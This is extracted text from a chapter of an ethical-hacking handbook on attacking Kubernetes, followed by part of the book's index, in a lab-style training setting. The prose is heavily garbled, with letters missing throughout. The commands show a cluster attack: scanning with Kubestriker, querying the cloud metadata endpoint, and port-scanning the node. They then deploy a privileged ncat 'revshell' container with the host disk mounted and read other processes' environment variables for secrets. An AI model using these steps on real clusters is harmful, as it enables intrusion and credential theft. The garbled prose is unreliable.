W50aXR5JlZlcnNpb24
←-OMITTED FOR BREVITY-->
zZjY0NDZmMmY0OTAwNDBlN2ZmZDY5NTM0N2IyMGZkNWFhM2NmOTg1MzJkYzQ1
O of h ools w ca lvag o aack Kubs is a Pyho-basd ool calld
Kubsik. This applicaio allows you o sca, spcify a URL, o us a cofiguaio fil
o aack a Kubs viom. Ou fis s will b o lvag ou ow kubcofig
fil. W hav compssd much of h oupu o sav o spac, bu udsad ha his
ool has may pomps ad faus log, poacd oupu ha w will b discussig.
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ docker run -– --rm -v /home/kali/.kube/config:/root/.kube/config "v "$(p"d)":/
kubestrik– --name kubestriker cloudsecguy/kubestriker:v1.0.0➊
root@aa5a1f4981cd:/kubestriker# python -m kubestriker➋
<---OMITTED FOR BREVITY--->
###########################################################################
____ __ __ __ _ __ __
\ \ \ / /____ __/ /_ ___ _____/ /______(_) /_____ _____ \ \
<---OMITTED FOR BREVITY--->
[+] Gearing up Kube-Striker..................................................
Choose one of the below options: (Use arrow keys)
url or ip
> configfile ➌
iprange or cidr
Choose one of the below options: (Use arrow keys)
> default ❹
Kube config custom path
Choose one of the below cluster: (Use arrow keys)
> ghh.us-east-1.eksctl.io➎
[+] Performing Service Discovery..... 100%
<---OMITTED FOR BREVITY--->
PART VI
The version of Kubernetes is: v1.20.7-eks-8be107
Choose one of the below options: (Use arrow keys)
> authenticated scan➏
unauthenticated scan
[+] Scanning Network policies ....
100%
Chose one of the below options: (Use arrow keys)
execute command on containers
> exit➐
Chose one of the below options: (Use arrow keys)
----------------------------------------------------------------
< Scan completed and Results generated with the target file name >
----------------------------------------------------------------
<---OMITTED FOR BREVITY--->
W will o b akig h addiioal sp a his im o xcu ay commads o
coais, bu udsad ha w ca, giv ha w a a admiisao culy. W
will simply xi ➐ h applicaio ad h coai ➑.
Oc h sca is compl, w ca look a h ovall oupu of h sca. Th ool
amps o b a xploiaio ool, bu much of h fucioaliy of h ool is aoud
vulabiliy discovy mo ha xploiaio.
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ cat 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks.amazonaws.com.txt
Performing Service Discovery on host 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-
east-1.eks.amazonaws.com➊..........
<---OMITTED FOR BREVITY--->
╔════════════════════════════════╗
║ ######## Admin roles ######## ║
╚════════════════════════════════╝
cluster-admin is a cluster admin role
Group system:masters has Admin Privileges in Cluster
ServiceAccount default has Admin Privileges in namespace default➋
<---OMITTED FOR BREVITY--->
╔═════════════════════════════════════════╗
║ ######## Privileged containers ######## ║
╚═════════════════════════════════════════╝
aws-node is configured wit' {'hostNetw'rk': True}
aws-vpc-cni-init is configured wit' {'hostNetw'rk': True}
kube-proxy is configured wit' {'hostNetw'rk': True}
read-du is configured wit' {'vol'me': 'host-fs-'ar'}➌
node-exporter is configured wit' {'host'ID': Tru', 'hostNetw'rk': True}
<---OMITTED FOR BREVITY--->
Oc w a ousid of h coai, you should s a w .x fil has b cad. Th
filam is divd fom h hosam of h clus ➊. I will b a log psudoadom
am ha coms fom h adom amig covio ha Amazo uss. W d o
ky i o wo ims i his log lis ha w ca cogiz fo us la.
• Th SvicAccou ➋, which is h accou ha all h coais us o coc
o h Kubs API Sv, has Admi Pivilgs i amspac dfaul.
• Th a coais (som sadad, som o) ha hav pivilgs o h
clus. Som of h capabiliis xposd a quid, such as hos wokig
big pushd i, ad oh capabiliis us volum mous ➌.
Chapter 30: Hacking on Kubernetes
633
Coais lisd i kub-sysm a gally fo h ial Kubs compos.
Coais ha show up i dfaul a ypically dployd coais ha a pa of a
dploym wihou a amspac. Oh amspacs you may s, lik isio, a hid-
pay compos ha a packags fo us wihi a sysm. Mak su o lis ou
amspacs wh you a lookig a Kubs.
Wha is h dag of hs yps of issus? Th fis poblm, ha of h SvicAccou
havig dfaul pivilgs, will allow a aack who is abl o ad aifacs o h disk o
b abl o ad h JSON Wb Tok (JWT) ha’s h logi maial fo auhicaig
io a clus. This could poially allow a aack o lauch hi ow coais
fom wihi h clus. W ca sa o look a h damag a aack could do jus fom
gaiig accss isid a clus. W will pd ha w foud a mo cod xcuio
fom a wb applicaio as a saig poi. Aacks hav foud may oh aack
vcos o simula his, icludig usig Jupy obooks o fom a aack.
Th a sval coais uig i h Dfaul amspac ha w ca lvag fo
ou x wo labs. L’s go io ou fis o, which is uig a Ubuu-basd co-
ai imag fo simpliciy. Th fis s of labs w will u is basd o wok scaig:
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ kubectl exec -it $(kubectl get pods | a'k '{ print '1}' | grep -v NAME |
grep bash) -- /bin/bash➊
root@bash-75ffdc58-8vx6v:/# cat /etc/lsb-release➋
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
root@bash-75ffdc58-8vx6v:/# uname -a➌
Linux bash-75ffdc58-8vx6v 5.4.129-63.229.amzn2.x86_64 #1 SMP Tue Jul 20
21:22:08 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@bash-75ffdc58-8vx6v:/# ls -la /var/run/secreubernetestes.io/
serviceaccount/➍
total 0
lrwxrwxrwx 1 root root 12 Aug 4 19:50 token -> ..data/token➎
lrwxrwxrwx 1 root root 16 Aug 4 19:50 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 13 Aug 4 19:50 ca.crt -> ..data/ca.crt
PART VI
lrwxrwxrwx 1 root root 31 Aug 4 19:50 ..data ->
..2021_08_04_19_50_56.127690991
drwxr-xr-x 2 root root 100 Aug 4 19:50 ..2021_08_04_19_50_56.127690991
drwxrwxrwt 3 root root 140 Aug 4 19:50 .
drwxr-xr-x 3 root root 28 Aug 4 19:50 ..
Fo a whil, l’s assum w a hacks ad hav accssd a viom wih lil
o o udsadig of wh w a. To do his, w will simula accss fom isid a
coai by uig h kubectl exec commad o iac wih h coai’s shll
➊. Fom a opaioal-awass sadpoi, h may b a fw commads w ca
u. Ths commads ca hlp us i fuh xploiaio. Th fils i /c ca hlp
us udsad h disibuio (i his cas, Ubuu 20.04 ➋). Ruig uname -a
will show us ha his sysm is uig Liux wih a build of amz2, idicaig a
Amazo Liux 2 disibuio ➌. Th dicoy w foud, /va/u/scs/Kubs
.io/svicaccou/ ➍, liss h logi cdial maial ➎ fo h Kubs us amd
Gray Hat Hacking: The Ethical Hacker’s Handbook
634
“SvicAccou.” This is usd o commuica fom h coai back o h API
Sv. If his accou has mo ha h omal pivilgs, w ca cosuc ou ow
Kubs cofiguaio fil wih h appopia sigs o xploi hs pivilgs.
Th commad fcd i h fis scio ➊ is ah difficul o udsad
fo som ads. Isid of h Bash shll, ay commads wihi $( ) a ad as
xcuabl. Th commad you a lookig a, kubectl get pods, liss h pods. Th
oupu is passd o awk, which pass vy li ad aks h fis poio of h li up
o h fis spac (i his cas, h colum wih h ams). Th x commad movs
h NAME, ad h followig o oly gs h wod bash. This x will b h x
ha liss ou h psudo-adom coai am. As h am is a psudo-adom
valu, his is h asis commad o us o cosisly pull h fis valu. This valu is
populad io h aa i which $( ) xiss. Th ou commad xcus a Bash shll
agais ha coai.
Ousid of icocly cofigud Kubs pivilgs, assumig ha his svic
accou cao do ayhig spcial, wha ls ca w do fom ou vaag poi?
Nomally w ca sa o lis fo o sd packs o a wok o look fo addiioal
svics, ad Kubs is o diff. Giv ha his is Ubuu, w do o cssaily
d o big dow ou ow biais; w ca jus isall ou ow. Noic w a uig
as oo; his is h dfaul us wh o oh is spcifid i Kubs.
root@bash-75ffdc58-8vx6v:/# apt update -y && apt install curl nmap ncat -y➊
Get:1 http://security.ubuntu.com/ubuntu focal-security InRelease [114 kB]
Processing triggers for ca-certificates (20210119~20.04.1) ...
Updating certificates in /etc/ssl/certs...
0 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
<---OMITTED FOR BREVITY--->
done.
root@bash-75ffdc58-8vx6v:/# curl http://169.254.169.254/latest/meta-data/
local-ipv4/➋
192.168.95.55root@bash-75ffdc58-8vx6v:/# nmap -n -p 1-65535 192.168.95.55➌
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-04 19:55 UTC
Nmap scan report for 192.168.95.55
Host is up (0.0000080s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
9100/tcp open jetdirect
10250/tcp open unknown➍
10256/tcp open unknown
31090/tcp open unknown
31300/tcp open unknown
32578/tcp open unknown
61678/tcp open unknown
Th fis sp would b o dowload ools w ca us la i ou labs; w a goig o
dowload ad isall ca, map, ad cURL ➊. Udsad ha i may scaios, w
may hav o fid alaiv ways o mov hs ools aoud, such as saically compilig
som of hs ools.8
This od is uig i Amazo ad is hfo a maagd od. Maagd ods i
Kubs will d o b boosappd upo boo wih h Kubs Kubl ag.
Th boosap is comig fom h Us Daa svic i h AWS sysm. This xposs
h i Amazo MaDaa API. Usig his API, w a abl o quy fo h local IPv4
addss of h od ➋. Usig ha ifomaio, w ca sca ou localhos fo op pos
ha could b xposd o oh coais ➌.
Pfomig a quick po sca, w ca s ha h is o fiwallig bw h
coais ad h s of h wok. This ca b quival o a fla Lay 2 dsig
wih lil o o filig bw hoss. As w hav isalld h aiv Nmap sca,
PART VI
w ca ak advaag of o jus po scaig bu also NSE scipig o hlp us fid
mo ad mo ags.
Th fis pos w will fid a h pos i h 10250–10259 ag. Th pos w
s i ou sca la o h Kubl API uig o h hos ➍. Th scod s of pos
w fid a h os ha la o coais, as hy a i h 30000 ag. Ths
coai pos may b xposd o h I o may jus b locally usd. If w sca
usig Nmap NSE scips o gab HTTP ils, w ca sa o gah mo ifomaio
➎. Fo xampl, h po ha is i ou xampl is TCP/31090. Th il idicas ha
i is h Pomhus Tim Sis Daabas sysm, usd fo moioig. W s a 302
dico fo /logi ➏. This could b h fod coai o i could b a diff
wb sock ha wihou auhicaio movs us back o /logi. W also s 32578 big
opd o us wih somhig calld WavSocks ➐. As you ca s, giv a good way o
pivo hough h viom, w ca poially bows ial sysms.
Gray Hat Hacking: The Ethical Hacker’s Handbook
636
W will b saig a coai o h sysm wih pivilgs abld. Th admissio
cooll is pmissiv ough o allow fo his. How ca w abus hs pivilgs o
gai fuh accss io a viom? Th a wo ways o appoach his:
• W ca mov ou ools oo h local coai. Th dowsid is ha w may
b caugh by ay moioig ools isalld i h clus, such as EDR ools
o ools spcific o Kubs Admissio Cooll scaig o Kubs
Coai scaig. Sysdig has a op souc ag ha ca povid his yp of
lmy. Th ools gally will udsad how o us h xisig cdials
i his cas.
• W ca mov h oks ousid h clus ad h aach o ou cluss
moly usig hos kys. This is do by usig h /va/u/scs/kubs
.io/svicaccou/ok, ca.c, ad h IP o hosam of h sv.
W will b akig h fis opio. This aack will do h followig:
1. Isall a coai od wih a backdoo lis ha xcus a Bash shll.
2. Sa i wih all local pivilgs ad h mou h hos disk o h local sysm.
To compl his ask, you will d h followig wo fils locad i h GHHv6/
ch30/Lab dicoy:
W ca h coc o ha po o gai accss o h coai, which has lvad
pivilgs:
root@bash-75ffdc58-8vx6v:/tmp# curl -LO "https://dl.k8s.io/release/v1.20.0/bin/
linux/amd64/kubectl"➊
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 154 100 154 0 0 1555 0 --:--:-- --:--:-- --:--:-- 1555
100 38.3M 100 38.3M 0 0 68.3M 0 --:--:-- --:--:-- --:--:-- 116M
root@bash-75ffdc58-8vx6v:/tmp# chmod a+x ./kubectl➋
root@bash-75ffdc58-8vx6v:/tmp# ./kubectl apply -f ncat.yml➌
deployment.apps/revshell configured
root@bash-75ffdc58-8vx6v:/tmp# ./kubectl apply -f ncat-svc.yml➍
service/revshell configured
root@bash-75ffdc58-8vx6v:/tmp#
root@bash-75ffdc58-8vx6v:/tmp# ./kubectl get svc➎
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kubernetes ClusterIP 10.100.0.1 <none> 443/TCP 2d20h
revshell ClusterIP 10.100.128.252➏ <none> 9999/TCP 25h
root@bash-75ffdc58-8vx6v:/tmp# ncat 10.100.128.252 9999➐
whoami➑
root
PART VI
W ca dowload h appopia kubcl fil by usig h omclau wh
w spcify h vsio of kubcl ha machs ou clus vsio ➊. Rcall w ca
quy /version o g his ifomaio. Oc w mak i xcuabl ➋, w a abl o
h apply ou coai ➌ alog wih h svic ➍ dscipio. This will isall a
Kubs coai ha has a ca lis o po 9999. W ca chck h svic
by pfomig a kubectl get svc ➎ ad locaig h svic calld vshll ➏. Wih h
IP addss i had, w a abl o h coc o i o po 9999 ➐. Bcaus his is o
a gula shll bu ah a ca shll, do’ wai fo a pomp; jus yp a commad
lik whoami ➑.
Gray Hat Hacking: The Ethical Hacker’s Handbook
638
Fom a siuaioal-awass sadpoi, w a ow isid of a coai ha was
o ou oigial coai; w hav movd laally o his coai. Wha did i giv us?
A sup-pivilgd coai ha w ca ow u commads o:
ls➊
bin
boot
<---OMITTED FOR BREVITY--->
usr
var
cd /host➋
ls
bin
boot
<---OMITTED FOR BREVITY--->
usr
var
env➌
REVSHELL_PORT_9999_TCP_PORT=9999
HOSTNAME=ip-192-168-95-55.ec2.internal
<---OMITTED FOR BREVITY--->
PWD=/host
<---OMITTED FOR BREVITY--->
OLDPWD=/
ps -ef | grep jar ➍
root 6948 4282 0 21:50 ? 00:00:00 grep jar
root 10928 10905 0 Aug03 ? 00:00:00 /bin/sh /usr/local/bin/java
.sh -jar ./app.jar --port=80➎
root 10975 10928 0 Aug03 ? 00:05:58 java -Xms64m -Xmx128m
-XX:+UseG1GC -Djava.security.egd=file:/dev/urandom -Dspring.zipkin
.enabled=false -jar ./app.jar --port=80
<---OMITTED FOR BREVITY--->
cd /host/proc/10928➏
cat environ➐
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/
jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/binHOSTNAME=queue-
master-
<---OMITTED FOR BREVITY--->
DDR=10.100.107.2LANG=C.UTF-8JAVA_HOME=/usr/lib/jvm/java-1.8-openjdkJAVA_
VERSION=8u111JAVA_ALPINE_VERSION=8.111.14-r0SERVICE_USER=myuserSERVICE_
UID=10001SERVICE_GROUP=mygroupSERVICE_GID=10001➑
Now ha w a i his lvad coai, w ca sa o look a h suls of ou
podSpc. By usig ls, w should b abl o s a dicoy calld /hos ➊. This dicoy
should b a mou o h hos fil sysms/dicoy. L’s go io ha dicoy ➋ ad
lis ou is cos o vify. W ca u env ➌, bu h viom vaiabl will b
lisig h viom fo ou coai. Wha if w lookd fo oh coais ha
a uig? W ca us ps -ef o look fo all coais, ad w ca pa his dow by
lookig fo JAR-basd os ➍. W ca pipoi o ➎ ad look a is pocss ID. Usig
h /poc fil sysm, w ca go io ha poc dicoy ➏ ad ad h viom fil
ha coais h coai’s vioms ➐. By lisig viom vaiabls, w may
b abl o ad scs ad gai accss o addiioal sysms; howv, i ou sysm, w
a o soig ay scs o mouig ay fom h API Sv.
Chapter 30: Hacking on Kubernetes
639
Summary
Kubs is a vy powful opaioal plafom ad oolchai ha is i us i may
piss. I ca b scud, bu qui of is lf uig isculy. Th a ply
of ways ha Kubs ca b usd o gai fuh accss io a viom. A
aack wih dp Liux kowldg ca bak ou usig a xploi o h hos o lv-
ag h i wokigs of h sysm o kp movig. W hav jus bgu o scach h
sufac of h myiad ways you ca fid aacks o hs sysms. W commd goig
hough h “Fo Fuh Radig” scio o g mo udsadig of Kubs.
Icludd i h “Fo Fuh Radig” scio is h NSA ad CISA’s guidac o
hadig Kubs, “Kubs Hadig Guidac.” This is a 70+ pag guid ha
walks you hough all h issus ha ca happ wh dployig Kubs. W highly
commd wokig hough his docum. Usig his docum, a good hack ca
vs gi h mchaisms you ca us o aack Kubs.
References
1. Kubs cifid svic povids, hps://kubs.io/pas/#cofomac.
2. Kubs achicu, hps://kubs.io/docs/cocps/achicu/.
3. “Gig Sad wih Amazo EKS,” hps://aws.amazo.com/ks/gig-sad/.
PART VI
4. WavWoks Sock Shop, hps://micosvics-dmo.gihub.io/.
5. “Usig Cifica Taspacy as a Aack/Dfs Tool,” hps://isc.sas
.du/foums/diay/Usig+Cifica+Taspacy+as+a+Aack+Dfs+
Tool/24114/.
6. Nwokig pos i CoOS, hps://gihub.com/coos/coos-kubs/blob/
mas/Documaio/kubs-wokig.md.
7. Isio, hps://isio.io/.
8. Saic compild ools po, hps://www.gihub.com/mossgad/ools-po/.
This page intentionally left blank
INDEX
641
Gray Hat Hacking: The Ethical Hacker’s Handbook
642
ampersands (&) in C language, 26 assert function, 496
amplitude plots in SCRAPE process, 457 asynchronous transfer lists in
AMSI. See Antimalware Scan Interface (AMSI) EHCI controller, 548
analog-to-digital conversion (ADC) resolution AT&T assembly language, 37–40
in SDR, 448 AtomicRedTeam attacker emulation, 181–183
Analyze phase in SCRAPE process, Attack Navigator, 118
454–461 attack surfaces for hypervisors, 487–489
annotations in Ghidra, 78, 80–83 attack vectors
Antimalware Scan Interface (AMSI) exploit development, 215–216
domain recon, 352 Windows exploitation, 264–266
Evil-WinRM, 340 Aufs file system, 608
PowerShell Empire, 131, 318–319 auth function, 219–221
PowerSploit, 315 authenticated vulnerability scanning, 113
system recon, 348 authentication in AWS
AntivirusBypass subdirectory in attacker tools overview, 575–576
PowerSploit, 314 introduction, 571
API Servers in Kubernetes keys and key material, 572–575
attacking, 636–638 PACU Framework, 576
description, 624 permissions, 577–578
finding, 627–628 RedBoto, 576–577
fingerprinting, 625–626, 628–630 system internals, 580–583
applications unauthorized actions, 579–580
containers, 611–613 authorization in AWS, 568–570
diffing, 369–370 automotive industry, IoT things for, 394
penetration testing, 115 aviation industry, IoT things for, 394
APT29 attack data, 186 AWS. See Amazon Web Services (AWS)
APT334 group, 120 Azure
APTs (advanced persistent threats), 11 access, 590–591, 597–598
arbitrary_read_near function, 556 accounts for DetectionLab installation,
arbitrary reads in hypervisor case study, 158–159
555–556 Active Directory, overview, 591
arbitrary_write function, 561 Active Directory, password spraying,
ARM architectures 596–597
embedded devices, 410–411 Active Directory, permissions, 591–593
interface descriptions, 418–419 Active Directory, user lookups, 594–595
pinouts, 420–421 attack overview, 593–594
ARN (Amazon Resource Name) format, 570 vs. AWS, 586–587
ARP (Address Resolution Protocol), 436 backdoors on nodes, 600
Ashton, Kevin, 393 CLI tool, 589
ASLR. See address space layout control plane and managed identities,
randomization (ASLR) 598–600
assembly language introduction, 585
addressing modes, 40 lab setup, 587–590
AT&T vs. NASM, 37–40 overview, 585–586
file structure, 41 readings, 601
vs. machine language and C, 37 references, 601
sample program, 41 summary, 601
Index
643
Azure Functions for Windows, 587 bootloaders for embedded devices, 421–422
Azure Portal, 588–590 bootstrapping via web, 311–313
Boto library, 576
B breaking out of containers, 616–620
b64 script, 310–311 breakpoints
backdoors on nodes in Azure, 600 gdb, 42
bad characters in Windows exploits, 268 Ida Pro, 104–106
bandwidth in SDR, 448 Immunity Debugger, 254–256
base indexed relative addressing mode, 40 Windows kernel drivers, 292
Base64-encoded strings, 310, 319 brute-force strategy for stack canaries, 226
based relative addressing mode, 40 .bss section in memory, 33
bastion host design in AWS, 570 buffer overflows
bcdedit command, 285 Linux, 65–67
beacon times, 128 local, 207–212
behavior-sensitive CPU instructions, 470–471 overview, 201–206
best practices in AWS, 570–571 ramifications, 206
Bianco, David J., 123 sample program, 203–204
big-endian memory order, 32 buffers, memory, 34
binary diffing bug bounty programs, 10
application, 369–370 build_nim.sh command, 146
BinDiff, 372–373 Bullock, Beau, 596
Ghidra, 83–86 Bus Pirate tool, 415
introduction, 369 BusyBox container, 618
patch, 370–371 Bypass-4MSI command, 340
tools overview, 371–372 bypassing
turbodiff, 374–378 AMSI, 315, 318–319
Binary Launcher screen in Covenant, 133–134 ASLR, 228–231
bind shells, 129 KPTI, 241–243
BinDiff tool, 83–87, 371–373 memory, 271–272
BinDiffHelper plug-in, 83 NX stack, 222–225
BinExport plug-in, 84 PIE, 230–232
binkit tool, 371 SafeSEH, 272–274
BinNavi tool, 372 SMAP, 244–246
bits, memory, 31 SMEP, 241–243
black hat hacking UAC, 319–320
advanced persistent threats, 11 bypassuac command, 319
Cyber Kill Chain, 11–14 Byt3bl33der user, 145
description, 4 bytes, memory, 31
MITRE ATT&CK framework, 14–17 bzImage file, 233
Blichmann, Christian, 372
Block Storage in AWS, 570–571 C
BloodHound tool, 356–357 C/C++ Optimizing Compiler and Linker, 250
Bluetooth Low Energy protocol, 395 C programming language
boot drivers, 282 basic constructs, 21–22
boot message implementation in unikernel, comments, 29
497–499 compiling, 30–31
booting in unikernel, 489–492 computer memory, 31–35
Gray Hat Hacking: The Ethical Hacker’s Handbook
644
C programming language (cont.) DetectionLab installation in, 157–160
functions, 22–23 Kubernetes. See Kubernetes
if/else construct, 28–29 penetration testing, 116
introduction, 21 CLSIDs (class IDs) in system recon, 348
loops, 27–28 clusters in Kubernetes, 625–627, 632–633,
printf command, 24–25 636–637
sample programs, 29–30 Code Browser in Ghidra, 74–77
scanf command, 26 Code Bytes, 77
strcpy and strncpy commands, 26–27 Code class for research framework clients,
variables, 23–24 505–506
C# programming language launchers, Code section in Immunity Debugger, 252–253
compiling and testing, 141–142 code segment in memory, 33
C2. See Command and Control (C2) CodeExecution subdirectory in PowerSploit, 314
call command Cohen, Danny, 32
assembly language, 39 color schemes
stack operations, 200 IDA Pro, 96
call graphs in Ghidra, 79 Immunity Debugger, 254
Capture phase in SCRAPE process, 450–452 Command and Control (C2)
capture the flag (CTF) framework, 64–67 C# launchers, 141–142
capturing password hashes, 325–331 Covenant, 131–136
CDM (Common Data Model), 176 Cyber Kill Chain, 13
cellular networks, 394 EDR evasion, 149–150
CERT (Computer Emergency Response go launchers, 142–144
Team) Coordination Center (CC), 9 Metasploit, 128–131
cgroups. See control groups (cgroups) network evasion, 147–149
for containers Nim launchers, 144–147
channels overview, 127–128
SDR, 448 payload obfuscation, 136–140
VMBus, 532–537 PowerShell Empire, 131, 316–322
checksec shell script, 60 readings, 150–151
Chen, Dominic, 444 summary, 150
chroot technology for containers, 604 command line
class IDs (CLSIDs) in system recon, 348 AWS, 568–569
classically virtualizable VMMs, 471 local buffer overflows, 208–209
clients in research frameworks, 500–508 PowerShell, 309–310
clocks commands and command execution
I2C, 417 containers, remote, 614–615
JTAG, 418 PowerShell, 309–311
SPI, 416 WinRM, 338–341
SWD, 420 WMI, 337–338
clone function, 608 comments
cloud assembly language, 37–38
Amazon Web Services. See Amazon Web C language, 29
Services (AWS) Ghidra Code Browser, 75–76
Azure. See Azure IDA Pro, 102
containers. See containers Python, 51
Index
645
commit_creds() function, 236–238, 242 looking at, 605–607
Common Data Model (CDM), 176 process mappings to, 615
common_interrupt_return function, 242 control planes
Common Vulnerability Scoring System Azure, 597–600
(CVSS) score, 114 Kubernetes, 623–625, 627
communication control-sensitive CPU instructions, 470–471
Internet of Things, 395 control transfers in USB, 542
research framework clients, 500–504 controllers in Kubernetes, 624
unikernel, 489–497 ConvertFrom-SID cmdlet, 355
compiling ConvertThreadToFiber function, 144
C language, 30–31 coordinated disclosure, 8–9
C# launchers, 141–142 corporate red teams, 121–122
go launchers, 143–144 Covenant framework, 131–136
Nim launchers, 145–147 CPUs
Windows programs, 250–252 embedded devices, 409–411
compound USB devices, 542 Popek and Goldberg virtualization
Computer Emergency Response Team theorems, 470
(CERT) Coordination Center (CC), 9 CR4 register in SMAP bypassing, 244–245
Computer Fraud and Abuse Act, 4 crashing Windows programs, 255–258
computer memory. See memory crc32 function, 496
Console – Scripting window in Ghidra CreateFiber function, 144
Code Browser, 75 credentials
constant string references in Linux, 57–58 AWS, 575
Construct module for research framework Azure, 597
clients, 500–504 data-driven hunts, 177
consultant red teams, 122 gathering, 360–362
ContainerD interface, 612 NTLM, 327
containers TTP, 119–120
applications, 611–613 WimRM, 320–322
breakouts, 616–620 Winexe, 333
capabilities, 617–618 cross-reference links in Ghidra
cgroups, 618–620 Code Browser, 77
introduction, 603 cross-references (xrefs) in IDA Pro, 96–97
Kubernetes, 632–633, 636–638 CTE (cyber threat emulation), 16–17
Linux. See Linux containers CTF (capture the flag) framework, 64–67
pivots, 616 CVSS (Common Vulnerability Scoring
privileged pods, 617–618 System) score, 114
readings, 620–621 Cyber Kill Chain
references, 621 courses of action, 13–14
remote commands, 614–615 description, 11
security, 613–615 steps, 12–13
summary, 620 cyber threat emulation (CTE), 16–17
control fields in VMCS, 481 cyber threat intel in MITRE ATT&CK
control groups (cgroups) for containers framework, 15–16
abusing, 618–620 cyclic function, 215, 221
description, 604 cyclic_find function, 215
Gray Hat Hacking: The Ethical Hacker’s Handbook
646
D decompiler in Ghidra, 75, 78, 80–81
degrade phase in Cyber Kill Chain, 14
daemons in Docker, 612–613
Dekel, Kasif, 286
Dai Zovi, Dino, 9
del_region method, 506
DarunGrim tool, 371, 374
delivery phase in Cyber Kill Chain, 12
DAST (dynamic application
delta_patch.py script, 383–384
security testing), 115
denial-of-service (DDoS) attacks
Data CRC field in USB packets, 543
buffer overflows, 206
Data Dictionaries (DD), 176
IoT things, 404–405
.data directive in assembly language, 41
deny phase in Cyber Kill Chain, 13
data-driven hunts, 174, 177–180
DEP (Data Execution Prevention)
Data Execution Prevention (DEP)
ProSSHD, 260
ProSSHD, 260
Windows exploitation, 274
Windows exploitation, 274
desc_string function, 558
data fields in USB packets, 543
describeInstances.py script, 579
data planes
describeUserData.py script, 579
Azure, 593
destroy phase in Cyber Kill Chain, 14
Kubernetes, 623
detect phase in Cyber Kill Chain, 13
Data Reference Analyzer in Ghidra, 74
Detection Data Model (DDM), 176
Data section in Immunity Debugger, 253
detection engineering in purple teams, 125
.data section in memory, 33
DetectionLab
data sources, normalizing, 175–176
examining, 160
Data Type Manager in Ghidra
installing in cloud, 157–160
Code Browser, 75
installing on host, 155–157
database joins, 190–191
prerequisites, 154
DbMemmove structure, 297–298
determinism requirement for unikernel, 489
DBT (dynamic binary translation)
Developer Command Prompt, 250
in x86 virtualization, 476
_DEVICE_OBJECT structure, 283, 289
DCSync attacks, 362–363
DeviceGuard, checking for, 350
DD (Data Dictionaries), 176
DeviceIoControl function, 292–293
DDM (Detection Data Model), 176
devices
DDoS (denial-of-service) attacks
IoT. See Internet of Things (IoT)
buffer overflows, 206
penetration testing, 116
IoT things, 404–405
USB, 542
debug interfaces for embedded devices, 418–421
VMBus, 534
debugging
Diaphora tool, 371, 374
disassembly, 44–45
dictionaries, Python, 50
gdb. See gdb debugger
diffing. See binary diffing
IDA Pro, 102–107
Digital Millennium Copyright Act, 4
Immunity Debugger, 252–259, 262–265
digital rights management (DRM), 4
relative_read function, 554–555
Disassembler section in Immunity Debugger,
Windows exploits, 267–269
252–253
Windows kernel, 284–285
disassemblers, IDA Pro. See Interactive
Windows programs, 252–254
Disassembler (IDA) Pro
dec command, 39
disassembly
deceive phase in Cyber Kill Chain, 14
gdb debugger, 44–45
decoding data SCRAPE process, 457–461
overview, 90–92
Index
647
dispatch routines for kernel drivers, 283 duplex in SDR, 448
dispatchers for VMMs, 470–471 DWORDs (double words) in memory, 31
disrupt phase in Cyber Kill Chain, 14 dynamic application security testing
Distinguished Names (DNs), obtaining, 345 (DAST), 115
Dll-Loader command for Evil-WinRM, 340 dynamic binary translation (DBT) in x86
DLLs (loaded modules) virtualization, 476
in Windows exploitation, 264–265 dynamic vulnerabilities analysis
DNS for embedded devices
network evasion, 147–148 with emulation, 440–445
steps, 325–326 with hardware, 436–440
DNs (Distinguished Names), obtaining, 345
do_token_in function, 553 E
do_token_out function, 549 EBP (Extended Base Pointer)
do_token_setup function, 545–546, 549 stack operations, 200–201
Docker Windows exploitation, 279–280
API interaction, 614–615 Windows programs, 256
container capabilities, 617–618 EC2. See Elastic Compute Cloud (EC2)
daemons, 612–613 Economou, Nicolas, 371
Dockerfiles, 609–611 EDR (endpoint detection and response),
Hyper-V images, 518–519 149–150
hypervisor case study, 541 EFER.LMSLE feature, 477
Linux containers, 605–607 efficiency property for virtual machines, 471
overview, 612 EHCI (Enhanced Host Controller Interface)
remote commands, 614–615 controller, 547–548
Docker-Compose orchestrator, 612 EIP. See Extended Instruction Pointer (EIP)
docker inspect command, 609 EKS (Elastic Kubernetes Service), 625–626, 629
Docker Swarm, 612 Elastic Compute Cloud (EC2)
docker volume command, 609 permissions, 577–578
domain groups, obtaining, 345–346 persistence, 580–582
domain recon service delivery, 568
overview, 351 unauthorized actions, 579–580
PowerShell, 352–354 Elastic Kubernetes Service (EKS),
PowerView, 354–356 625–626, 629
SharpHound, 356–357 elevated privileges with Winexe, 333
Donut-Loader command, 340 Elfin group, 120
double words (DWORDs) in memory, 31 embedded devices
_DRIVER_OBJECT structure, 283, 288–289 CPUs, 409–411
DriverEntry function, 287 debug interfaces, 418–421
drivers in Windows kernel introduction, 409
interacting with, 292–296 JTAG, 418–420
obtaining, 286–287 readings, 424
overview, 282–284 references, 425
reverse engineering, 287–288 serial interfaces, 411–417
target selection, 285–286 software, 421–423
DRM (digital rights management), 4 summary, 424
Dullien, Thomas, 372 SWD, 420–421
dup2 system call, 216, 224 update packages, 427–432
Gray Hat Hacking: The Ethical Hacker’s Handbook
648
embedded devices vulnerabilities analysis Kerberos, 360–364
dynamic, with emulation, 440–445 local, 357–359
dynamic, with hardware, 436–440 SharpUp, 358–359
performing, 432–435 user object passwords, 359–360
readings, 446 winPEAS, 357–358
references, 446 escape sequences in strings, 34
static, 427–435 ESP (Extended Stack Pointer)
summary, 445 offsets, 264
Empire tool. See PowerShell Empire stack operations, 200–201
encoded commands in PowerShell, 310–311 Windows programs, 256
encodedcommand option in PowerShell, 306, Etcd store in Kubernetes, 624
310, 312 ethical hacking history, 6–9
